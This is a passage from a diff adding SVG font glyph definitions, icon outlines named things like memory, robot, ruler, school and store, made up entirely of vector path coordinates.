-24.7393 -20.1494 -39.8594 -25.9795z" /> + <glyph glyph-name="less-than" unicode="" horiz-adv-x="384" +d="M365.46 90.2598c16.0703 -7.49023 23.0205 -26.5801 15.5303 -42.6396l-13.5605 -29.0801c-7.48926 -16.0596 -26.5801 -23.0098 -42.6396 -15.5205l-306.31 142.83c-11.2705 5.25 -18.4805 16.5605 -18.4805 29v34.2402c0.00488281 12.8389 7.55664 23.9043 18.4805 29 +l306.46 142.91c16.0195 7.46973 35.0596 0.540039 42.5293 -15.4805l13.5205 -29c7.46973 -16.0195 0.540039 -35.0596 -15.4805 -42.5293l-218.47 -101.88z" /> + <glyph glyph-name="less-than-equal" unicode="" horiz-adv-x="448" +d="M54.9805 233.8c-13.7705 4.52051 -22.9805 16.6104 -22.9805 30.1699v15.96c0 13.5703 9.20996 25.6602 22.9805 30.1807l301.71 119.96c18.29 6 38.5098 -2.53027 45.1494 -19.0605l12.0303 -29.9199c6.63965 -16.5195 -2.81055 -34.79 -21.1006 -40.79 +l-175.56 -68.0898l175.44 -68.0498c18.3896 -6.03027 27.8896 -24.3906 21.21 -41l-12.0908 -30.0801c-6.66992 -16.6104 -26.9893 -25.1797 -45.3799 -19.1504zM424 48c13.25 0 24 -10.7402 24 -24v-48c0 -13.25 -10.75 -24 -24 -24h-400c-13.25 0 -24 10.75 -24 24v48 +c0 13.2598 10.75 24 24 24h400z" /> + <glyph glyph-name="memory" unicode="" horiz-adv-x="640" +d="M640 317.06c-18.5996 -6.60938 -32 -24.1895 -32 -45.0596s13.4004 -38.4502 32 -45.0596v-98.9404h-640v98.9404c18.5996 6.60938 32 24.1895 32 45.0596s-13.4004 38.4502 -32 45.0596v34.9404c0 17.6699 14.3301 32 32 32h576c17.6699 0 32 -14.3301 32 -32v-34.9404z +M224 192v128h-64v-128h64zM352 192v128h-64v-128h64zM480 192v128h-64v-128h64zM0 0v96h640v-96h-64v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699 +c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-128v26.6699c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16v-26.6699h-64z" /> + <glyph glyph-name="microphone-alt-slash" unicode="" horiz-adv-x="640" +d="M633.82 -10.0996c6.97949 -5.43066 8.22949 -15.4805 2.81934 -22.4502l-19.6396 -25.2705c-5.42969 -6.97949 -15.4805 -8.23926 -22.46 -2.80957l-588.36 454.729c-6.97949 5.43066 -8.22949 15.4805 -2.80957 22.4502l19.6396 25.2705 +c5.41992 6.97949 15.4805 8.22949 22.46 2.80957l178.53 -138v45.3604c0 53.0195 42.9805 96 96 96s96 -42.9805 96 -96h-85.3301c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.3301 +c-5.88965 0 -10.6699 -3.58008 -10.6699 -8v-16c0 -4.41992 4.78027 -8 10.6699 -8h85.3301v-32h-85.0596l41.3994 -32h43.6699c0 -10.4502 -2.17969 -20.2705 -5.2793 -29.6699l26.5498 -20.5205c6.75977 15.4004 10.7197 32.2803 10.7197 50.2002v48 +c0 8.83984 7.16016 16 16 16h16c8.83984 0 16 -7.16016 16 -16v-48c0 -28.9805 -7.25977 -56.21 -19.7402 -80.3301zM400 -16c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h56 +v34.1504c-88.0303 12.1396 -152 92.0498 -152 181.689v6.85059l52.0303 -40.2207c12.4395 -53.2197 55.3301 -96.3994 111.18 -101.85c6.94043 -0.669922 13.6396 -0.200195 20.3496 0.200195l50.4004 -38.96c-10.8604 -3.80078 -22.25 -6.45996 -33.96 -8.08008v-33.7803 +h56z" /> + <glyph glyph-name="money-bill-wave" unicode="" horiz-adv-x="640" +d="M621.16 393.54c11.6094 -4.87012 18.8398 -16.8301 18.8496 -29.4697v-317.25c0 -18.4902 -15.04 -31.8105 -32.25 -31.8105c-3.39941 0 -6.87988 0.520508 -10.3496 1.62012c-30.8906 9.7998 -61.7598 13.7197 -92.6504 13.7197 +c-123.17 0 -246.34 -62.3496 -369.51 -62.3496c-38.7998 0 -77.6201 6.19043 -116.41 22.4697c-11.6094 4.86035 -18.8398 16.8301 -18.8398 29.46v317.261c0 18.4893 15.04 31.8096 32.25 31.8096c3.40039 0 6.87988 -0.519531 10.3496 -1.62012 +c30.8906 -9.7998 61.7607 -13.7197 92.6504 -13.7197c123.17 0 246.33 62.3496 369.5 62.3398c38.7998 0 77.6201 -6.19043 116.41 -22.46zM48 315.78v-60.4707c31 0 56.8398 22.1504 62.7197 51.54c-21.5996 1.36035 -42.5996 3.89062 -62.7197 8.93066zM48 30.7803 +c20.1201 -7.31055 41.1797 -11.8105 63.71 -13.6201c-1.53027 34.1299 -29.3398 61.3994 -63.71 61.3994v-47.7793zM320 96c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96zM592 68.2197v57.7207 +c-26.8203 -3.40039 -48.4502 -23.2002 -54.3203 -49.2803c18.6104 -1.58984 36.8008 -4.0498 54.3203 -8.44043zM592 304.33v48.8896c-17.7197 6.43066 -36.2695 10.4902 -55.8096 12.6602c0.949219 -31.8496 24.9199 -57.6396 55.8096 -61.5498z" /> + <glyph glyph-name="money-bill-wave-alt" unicode="" horiz-adv-x="640" +d="M621.16 393.54c11.6094 -4.87012 18.8398 -16.8301 18.8496 -29.4697v-317.25c0 -18.4902 -15.04 -31.8105 -32.25 -31.8105c-3.39941 0 -6.87988 0.520508 -10.3496 1.62012c-30.8906 9.7998 -61.7598 13.7197 -92.6504 13.7197 +c-123.17 0 -246.34 -62.3496 -369.51 -62.3496c-38.7998 0 -77.6201 6.19043 -116.41 22.4697c-11.6094 4.86035 -18.8398 16.8301 -18.8398 29.46v317.261c0 18.4893 15.04 31.8096 32.25 31.8096c3.40039 0 6.87988 -0.519531 10.3496 -1.62012 +c30.8906 -9.7998 61.7607 -13.7197 92.6504 -13.7197c123.17 0 246.33 62.3496 369.5 62.3398c38.7998 0 77.6201 -6.19043 116.41 -22.46zM320 96c44.1699 0 80 42.9697 80 96c0 53.0195 -35.8203 96 -80 96s-80 -42.9805 -80 -96c0 -53.0098 35.8096 -96 80 -96z" /> + <glyph glyph-name="money-check" unicode="" horiz-adv-x="640" +d="M0 0v320h640v-320c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32zM448 208v-32c0 -8.83984 7.16016 -16 16 -16h96c8.83984 0 16 7.16016 16 16v32c0 8.83984 -7.16016 16 -16 16h-96c-8.83984 0 -16 -7.16016 -16 -16zM448 88v-16 +c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8zM64 184v-16c0 -4.41992 3.58008 -8 8 -8h304c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-304c-4.41992 0 -8 -3.58008 -8 -8z +M64 88v-16c0 -4.41992 3.58008 -8 8 -8h176c4.41992 0 8 3.58008 8 8v16c0 4.41992 -3.58008 8 -8 8h-176c-4.41992 0 -8 -3.58008 -8 -8zM624 416c8.83984 0 16 -7.16016 16 -16v-48h-640v48c0 8.83984 7.16016 16 16 16h608z" /> + <glyph glyph-name="money-check-alt" unicode="" horiz-adv-x="640" +d="M608 416c17.6699 0 32 -14.3301 32 -32v-384c0 -17.6699 -14.3301 -32 -32 -32h-576c-17.6699 0 -32 14.3301 -32 32v384c0 17.6699 14.3301 32 32 32h576zM176 120.12c23.6201 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896 +l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104c4.55957 0 8.94922 -1.29004 12.8193 -3.71973c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21 +c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16.1201c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703 +c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973 +c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v16.1201zM416 136v16 +c0 4.41992 -3.58008 8 -8 8h-112c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h112c4.41992 0 8 3.58008 8 8zM576 136v16c0 4.41992 -3.58008 8 -8 8h-80c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h80c4.41992 0 8 3.58008 8 8z +M576 232v16c0 4.41992 -3.58008 8 -8 8h-272c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h272c4.41992 0 8 3.58008 8 8z" /> + <glyph glyph-name="not-equal" unicode="" horiz-adv-x="448" +d="M416 240h-98.4199l-74.5303 -96h172.95c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-247.48l-82.0898 -105.73c-5.37012 -7.00977 -15.4102 -8.34961 -22.4297 -2.96973l-25.4102 19.46c-7.00977 5.37988 -8.33984 15.4199 -2.96973 22.4307 +l51.8701 66.8096h-55.4902c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h130.03l74.5293 96h-204.56c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h279.09l82.0801 105.73c5.37988 7.00977 15.4199 8.34961 22.4404 2.96973 +l25.4092 -19.46c7.01074 -5.37012 8.34082 -15.4102 2.9707 -22.4307l-51.8701 -66.8096h23.8799c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32z" /> + <glyph glyph-name="palette" unicode="" +d="M204.3 443c163.8 31.9004 307.2 -92.0996 307.7 -249.7c-0.0996094 -35.7002 -29.0996 -65.2998 -64.9004 -65.2998h-79.6992c-51 0 -84 -53 -60.9004 -98.4004c18.9004 -37.0996 -1.2998 -85.2998 -42.5 -91.6992c-127.1 -19.7002 -295.8 119.699 -258.8 306.699 +c19.5996 99.1006 99.7002 179 199.1 198.4zM96 128c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM128 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM256 320 +c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM384 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="parking" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM240 128c52.9004 0 96 43.0996 96 96s-43.0996 96 -96 96h-96c-8.7998 0 -16 -7.2002 -16 -16v-224c0 -8.7998 7.2002 -16 16 -16h32 +c8.7998 0 16 7.2002 16 16v48h48zM240 256c17.5996 0 32 -14.4004 32 -32s-14.4004 -32 -32 -32h-48v64h48z" /> + <glyph glyph-name="percentage" unicode="" horiz-adv-x="384" +d="M109.25 274.75c-24.9902 -25 -65.5098 -25 -90.5098 0c-24.9902 24.9902 -24.9902 65.5195 0 90.5098s65.5195 24.9902 90.5098 0s24.9902 -65.5195 0 -90.5098zM365.25 109.26c25 -25 25 -65.5195 0 -90.5098c-24.9902 -24.9902 -65.5195 -24.9902 -90.5098 0 +s-24.9902 65.5195 0 90.5098s65.5195 24.9902 90.5098 0zM363.31 340.69c12.5 -12.5 12.5 -32.7607 0 -45.25l-274.75 -274.75c-12.4893 -12.5 -32.75 -12.5 -45.25 0l-22.6191 22.6191c-12.5 12.4902 -12.5 32.75 0 45.25l274.75 274.75c12.4893 12.5 32.75 12.5 45.25 0z +" /> + <glyph glyph-name="project-diagram" unicode="" horiz-adv-x="640" +d="M384 128c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-128c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h128zM192 416v-32h224v-64h-224v-47.5098l64.2803 -112.49h-0.280273c-23.5996 0 -44.0195 -12.9805 -55.1201 -32.04 +l-73.1602 128.04h-95.7197c-17.6699 0 -32 14.3301 -32 32v128c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32zM608 448c17.6699 0 32 -14.3301 32 -32v-128c0 -17.6699 -14.3301 -32 -32 -32h-128c-17.6699 0 -32 14.3301 -32 32v128 +c0 17.6699 14.3301 32 32 32h128z" /> + <glyph glyph-name="receipt" unicode="" horiz-adv-x="384" +d="M358.4 444.8c10.5996 7.90039 25.5996 0.400391 25.5996 -12.7998v-480c0 -13.2002 -15.0996 -20.7002 -25.5996 -12.7998l-38.4004 44.7998l-54.4004 -44.7998c-2.66602 -2.01953 -6.01367 -3.21777 -9.6123 -3.21777c-3.59961 0 -6.9209 1.19824 -9.58691 3.21777 +l-54.4004 44.7998l-54.4004 -44.7998c-2.66602 -2.01953 -6.01367 -3.21777 -9.6123 -3.21777c-3.59961 0 -6.9209 1.19824 -9.58691 3.21777l-54.4004 44.7998l-38.4004 -44.7998c-10.5996 -7.90039 -25.5996 -0.400391 -25.5996 12.7998v480 +c0 13.2002 15 20.7002 25.5996 12.7998l38.4004 -44.7998l54.4004 44.7998c2.66602 2.01953 6.01367 3.21777 9.6123 3.21777c3.59961 0 6.9209 -1.19824 9.58691 -3.21777l54.4004 -44.7998l54.4004 44.7998c2.66602 2.01953 6.01367 3.21777 9.6123 3.21777 +c3.59961 0 6.9209 -1.19824 9.58691 -3.21777l54.4004 -44.7998zM320 88v16c0 4.40039 -3.59961 8 -8 8h-240c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240c4.40039 0 8 3.59961 8 8zM320 184v16c0 4.40039 -3.59961 8 -8 8h-240 +c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240c4.40039 0 8 3.59961 8 8zM320 280v16c0 4.40039 -3.59961 8 -8 8h-240c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h240c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="robot" unicode="" horiz-adv-x="640" +d="M32 224h32v-192h-32h-0.0390625c-17.6406 0 -31.9619 14.3213 -31.9619 31.9619c0 0.0126953 0.000976562 0.0253906 0.000976562 0.0380859v128v0.0390625c0 17.6406 14.3213 31.9619 31.9619 31.9619c0.0126953 0 0.0253906 -0.000976562 0.0380859 -0.000976562z +M544 272v-272c-0.0351562 -35.3066 -28.6934 -63.9648 -64 -64h-320c-35.3066 0.0351562 -63.9648 28.6934 -64 64v272v0.0263672c0 44.1387 35.835 79.9746 79.9736 79.9746c0.00878906 0 0.0175781 -0.000976562 0.0263672 -0.000976562h112v64 +c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32v-64h112h0.0263672c44.1387 0 79.9746 -35.835 79.9746 -79.9736c0 -0.00878906 -0.000976562 -0.0175781 -0.000976562 -0.0263672zM264 192c0 22.0762 -17.9238 40 -40 40s-40 -17.9238 -40 -40s17.9238 -40 40 -40 +c22.0752 0 40 17.9248 40 40zM256 64h-64v-32h64v32zM352 64h-64v-32h64v32zM456 192c0 22.0762 -17.9238 40 -40 40s-40 -17.9238 -40 -40s17.9238 -40 40 -40c22.0752 0 40 17.9248 40 40zM448 64h-64v-32h64v32zM640 192v-128v-0.0390625 +c0 -17.6406 -14.3213 -31.9619 -31.9619 -31.9619c-0.0126953 0 -0.0253906 0.000976562 -0.0380859 0.000976562h-32v192h32h0.0390625c17.6406 0 31.9619 -14.3213 31.9619 -31.9619c0 -0.0126953 -0.000976562 -0.0253906 -0.000976562 -0.0380859z" /> + <glyph glyph-name="ruler" unicode="" horiz-adv-x="640" +d="M635.7 280.8c8.7998 -15 3.59961 -34.2002 -11.6006 -42.7998l-496.8 -281.9c-15.2002 -8.59961 -34.7002 -3.5 -43.5 11.5l-79.5996 135.601c-8.7998 15 -3.5 34.0996 11.7002 42.7998l69 39.0996l59.6992 -101.399c2.2002 -3.7998 7.10059 -5.10059 10.9004 -2.90039 +l13.7998 7.7998c3.7998 2.2002 5.10059 7 2.90039 10.7002l-59.7002 101.7l55.2002 31.2998l27.8994 -47.5c2.2002 -3.7998 7.10059 -5.09961 10.9004 -2.89941l13.7998 7.7998c3.7998 2.2002 5.10059 6.89941 2.90039 10.7002l-27.9004 47.3994l55.2002 31.2998 +l59.7002 -101.699c2.2002 -3.80078 7.09961 -5.10059 10.8994 -2.90039l13.8008 7.7998c3.7998 2.2002 5.09961 7 2.89941 10.7002l-59.7998 101.7l55.2002 31.2998l27.8994 -47.2998c2.2002 -3.7998 7.10059 -5.10059 10.9004 -2.90039l13.7998 7.7998 +c3.7998 2.2002 5.10059 6.90039 2.90039 10.7002l-27.9004 47.4004l55.2002 31.2998l59.7002 -101.6c2.2002 -3.80078 7.09961 -5.10059 10.8994 -2.90039l13.8008 7.7998c3.7998 2.2002 5.09961 6.90039 2.89941 10.7002l-59.7002 101.7l69 39.0996 +c15.2002 8.60059 34.7002 3.5 43.5 -11.5z" /> + <glyph glyph-name="ruler-combined" unicode="" +d="M160 160v-41.3799l-158.43 -158.42c-0.660156 2.55957 -1.57031 5.03027 -1.57031 7.7998v448c0 17.6699 14.3301 32 32 32h96c17.6699 0 32 -14.3301 32 -32v-32h-56c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56v-64h-56 +c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56v-64h-56c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h56zM480 96c17.6699 0 32 -14.3301 32 -32v-96c0 -17.6699 -14.3301 -32 -32 -32h-448 +c-2.75977 0 -5.24023 0.910156 -7.7998 1.57031l158.43 158.43h41.3701v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v56h64v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v56h64v-56c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8 +v56h32z" /> + <glyph glyph-name="ruler-horizontal" unicode="" horiz-adv-x="576" +d="M544 320c17.6699 0 32 -14.3301 32 -32v-192c0 -17.6699 -14.3301 -32 -32 -32h-512c-17.6699 0 -32 14.3301 -32 32v192c0 17.6699 14.3301 32 32 32h48v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16 +c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h64v-88c0 -4.41992 3.58008 -8 8 -8h16c4.41992 0 8 3.58008 8 8v88h48z" /> + <glyph glyph-name="ruler-vertical" unicode="" horiz-adv-x="256" +d="M168 32h88v-64c0 -17.6699 -14.3301 -32 -32 -32h-192c-17.6699 0 -32 14.3301 -32 32v448c0 17.6699 14.3301 32 32 32h192c17.6699 0 32 -14.3301 32 -32v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88 +c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h88v-64h-88c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8z" /> + <glyph glyph-name="school" unicode="" horiz-adv-x="640" +d="M0 224c0 17.6699 14.3301 32 32 32h64v-320h-80c-8.83984 0 -16 7.16016 -16 16v272zM360 272c4.41992 0 8 -3.58008 8 -8v-16c0 -4.41992 -3.58008 -8 -8 -8h-48c-4.41992 0 -8 3.58008 -8 8v64c0 4.41992 3.58008 8 8 8h16c4.41992 0 8 -3.58008 8 -8v-40h24z +M497.75 335.96c8.90039 -5.92969 14.25 -15.9297 14.25 -26.6299v-373.33h-128v144c0 8.83984 -7.16016 16 -16 16h-96c-8.83984 0 -16 -7.16016 -16 -16v-144h-128v373.34c0.00195312 11.1084 5.64453 20.8828 14.25 26.6201l160 106.67 +c5.0752 3.38086 11.2324 5.35156 17.7822 5.35156s12.6426 -1.9707 17.7178 -5.35156zM320 192c44.1797 0 80 35.8203 80 80s-35.8203 80 -80 80s-80 -35.8203 -80 -80s35.8203 -80 80 -80zM608 256c17.6699 0 32 -14.3301 32 -32v-272c0 -8.83984 -7.16016 -16 -16 -16h-80 +v320h64z" /> + <glyph glyph-name="screwdriver" unicode="" +d="M448 448l64 -64l-96 -128h-62.0596l-83.0303 -83.0303c-4.25 6.79004 -9.07031 13.2705 -14.8701 19.0703c-5.7998 5.80957 -12.2803 10.6201 -19.0703 14.8701l83.0303 83.0303v62.0596zM128 169.41c29.1104 29.1094 76.2998 29.1094 105.41 0 +c29.1094 -29.1104 29.1094 -76.2998 0 -105.41l-117.08 -117.08c-14.5605 -14.5596 -38.1504 -14.5596 -52.71 0l-52.7002 52.7002c-14.5498 14.5596 -14.5498 38.1602 0 52.71z" /> + <glyph glyph-name="shoe-prints" unicode="" horiz-adv-x="640" +d="M192 288c-35.3496 0 -64 28.6504 -64 64s28.6504 64 64 64h32v-128h-32zM0 32c0 35.3496 28.6504 64 64 64h32v-128h-32c-35.3496 0 -64 28.6504 -64 64zM337.46 160c90.3604 0 174.54 -32 174.54 -96c0 -45.2197 -39.0996 -97.2998 -148.58 -120.82 +c-31.9795 -6.87012 -64.8896 -8.50977 -97.5801 -6.19922c-27.2998 1.92969 -54.0996 7.76953 -80.3096 15.0498l-57.5303 15.9697v128c60.21 0 79.9404 15.6201 104.73 32c28.5693 18.8799 69.8193 32 104.729 32zM491.42 440.81 +c109.48 -23.5098 148.58 -75.5898 148.58 -120.81c0 -64 -84.1797 -96 -174.54 -96c-34.9102 0 -76.1602 13.1201 -104.729 32c-24.79 16.3799 -44.5303 32 -104.73 32v128l57.5303 15.9697c26.21 7.27051 53.0098 13.1104 80.3096 15.04 +c32.6904 2.32031 65.6006 0.669922 97.5801 -6.2002z" /> + <glyph glyph-name="skull" unicode="" +d="M256 448c141.4 0 256 -100.3 256 -224c0 -70.0996 -36.9004 -132.6 -94.5 -173.7c-9.7002 -6.89941 -15.2002 -18.2002 -13.5 -29.8994l9.40039 -66.2002c1.39941 -9.60059 -6 -18.2002 -15.7002 -18.2002h-77.7002v56c0 4.40039 -3.59961 8 -8 8h-16 +c-4.40039 0 -8 -3.59961 -8 -8v-56h-64v56c0 4.40039 -3.59961 8 -8 8h-16c-4.40039 0 -8 -3.59961 -8 -8v-56h-77.7002c-9.7002 0 -17.0996 8.59961 -15.7002 18.2002l9.40039 66.2002c1.7002 11.7998 -3.90039 23 -13.5 29.8994 +c-57.5996 41.1006 -94.5 103.601 -94.5 173.7c0 123.7 114.6 224 256 224zM160 128c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64s28.7002 -64 64 -64zM352 128c35.2998 0 64 28.7002 64 64s-28.7002 64 -64 64s-64 -28.7002 -64 -64 +s28.7002 -64 64 -64z" /> + <glyph glyph-name="smoking-ban" unicode="" +d="M96 144v64c0 8.7998 7.2002 16 16 16h21.5l96 -96h-117.5c-8.7998 0 -16 7.2002 -16 16zM256 448c141.4 0 256 -114.6 256 -256s-114.6 -256 -256 -256s-256 114.6 -256 256s114.6 256 256 256zM256 0c41.4004 0 79.7002 13.2998 111.1 35.7002l-267.399 267.399 +c-22.4004 -31.3994 -35.7002 -69.6992 -35.7002 -111.1c0 -105.9 86.0996 -192 192 -192zM301.2 192l32 -32h50.7998v32h-82.7998zM412.3 80.9004c22.4004 31.3994 35.7002 69.6992 35.7002 111.1c0 105.9 -86.0996 192 -192 192 +c-41.4004 0 -79.7002 -13.2998 -111.1 -35.7002l124.3 -124.3h130.8c8.7998 0 16 -7.2002 16 -16v-64c0 -8.7998 -7.2002 -16 -16 -16h-34.7998zM320.6 320c32.1006 0 58.7002 -23.7002 63.3008 -54.5996c0.699219 -4.90039 -3 -9.40039 -8 -9.40039h-16.2002 +c-3.7002 0 -7 2.5 -7.7002 6.09961c-2.7998 14.7002 -15.7998 25.9004 -31.4004 25.9004c-32.0996 0 -58.6992 23.7002 -63.2998 54.5996c-0.700195 4.90039 3 9.40039 8 9.40039h16.2002c3.7002 0 7 -2.5 7.7002 -6.09961 +c2.7998 -14.7002 15.7998 -25.9004 31.3994 -25.9004z" /> + <glyph glyph-name="store" unicode="" horiz-adv-x="616" +d="M602 329.4c33.5996 -53.6006 3.7998 -128 -59 -136.4c-4.5 -0.599609 -9 -0.900391 -13.7002 -0.900391c-29.5 0 -55.7002 13 -73.7998 33.1006c-18 -20.1006 -44.2002 -33.1006 -73.7998 -33.1006c-29.5 0 -55.7998 13 -73.7998 33.1006 +c-18 -20.1006 -44.2002 -33.1006 -73.8008 -33.1006c-29.5 0 -55.7998 13 -73.7998 33.1006c-18 -20.1006 -44.2002 -33.1006 -73.7998 -33.1006c-4.59961 0 -9.2002 0.300781 -13.7002 0.900391c-62.5996 8.5 -92.2998 82.9004 -58.7998 136.4l64.9004 103.6 +c5.7998 9.2998 16.0996 15 27.0996 15h404c11 0 21.2998 -5.7002 27.0996 -15zM529.5 160c6.09961 0 12.0996 0.400391 18.2002 1.2002c5.59961 0.700195 11 2 16.3994 3.59961v-196.8c0 -17.7002 -14.2998 -32 -32 -32h-448c-17.6992 0 -32 14.2998 -32 32v196.8 +c5.30078 -1.5 10.8008 -2.7998 16.4004 -3.59961c5.90039 -0.799805 12 -1.2002 18 -1.2002c10 0 19.9004 1.59961 29.5 3.7998v-99.7998h384v99.7998c9.59961 -2.2998 19.5 -3.7998 29.5 -3.7998z" /> + <glyph glyph-name="store-alt" unicode="" horiz-adv-x="640" +d="M320 64v160h64v-256c0 -17.7002 -14.2998 -32 -32 -32h-256c-17.7002 0 -32 14.2998 -32 32v256h64v-160h192zM634.6 305.8c14.1006 -21.2998 -1.09961 -49.7998 -26.5996 -49.7998h-575.9c-25.5996 0 -40.7998 28.5 -26.5996 49.7998l85.2998 128 +c5.90039 8.90039 15.9004 14.2002 26.6006 14.2002h405.199c10.7002 0 20.7002 -5.2998 26.7002 -14.2002zM512 -48v272h64v-272c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16z" /> + <glyph glyph-name="stream" unicode="" +d="M16 320c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h416c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416zM496 240c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16 +v64c0 8.83984 7.16016 16 16 16h416zM432 64c8.83984 0 16 -7.16016 16 -16v-64c0 -8.83984 -7.16016 -16 -16 -16h-416c-8.83984 0 -16 7.16016 -16 16v64c0 8.83984 7.16016 16 16 16h416z" /> + <glyph glyph-name="stroopwafel" unicode="" +d="M188.12 237.26l45.25 -45.2598l-45.2598 -45.25l-45.25 45.25zM301.25 259.88l-45.25 -45.25l-45.25 45.2598l45.25 45.25zM210.75 124.12l45.25 45.25l45.2598 -45.25l-45.2598 -45.2598zM256 448c141.38 0 256 -114.62 256 -256s-114.62 -256 -256 -256 +s-256 114.62 -256 256s114.62 256 256 256zM442.68 152.4c1.44629 1.4502 2.3418 3.45312 2.3418 5.66113s-0.895508 4.20801 -2.3418 5.6582l-28.29 28.2803l28.2705 28.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096 +c-3.11914 3.12012 -8.18945 3.12012 -11.3096 0l-28.29 -28.29l-45.25 45.2607l33.9404 33.9395l16.9697 -16.9697c3.12012 -3.12012 8.18945 -3.12012 11.3096 0l11.3105 11.3096c3.12012 3.12012 3.12012 8.19043 0 11.3105l-16.9707 16.9697l16.9707 16.9697 +c3.12012 3.12012 3.12012 8.19043 0 11.3105l-11.3105 11.3096c-3.12012 3.12012 -8.18945 3.12012 -11.3096 0l-16.9697 -16.9697l-16.9707 16.9697c-3.12012 3.12012 -8.18945 3.12012 -11.3096 0l-11.3105 -11.3096c-3.11914 -3.12012 -3.11914 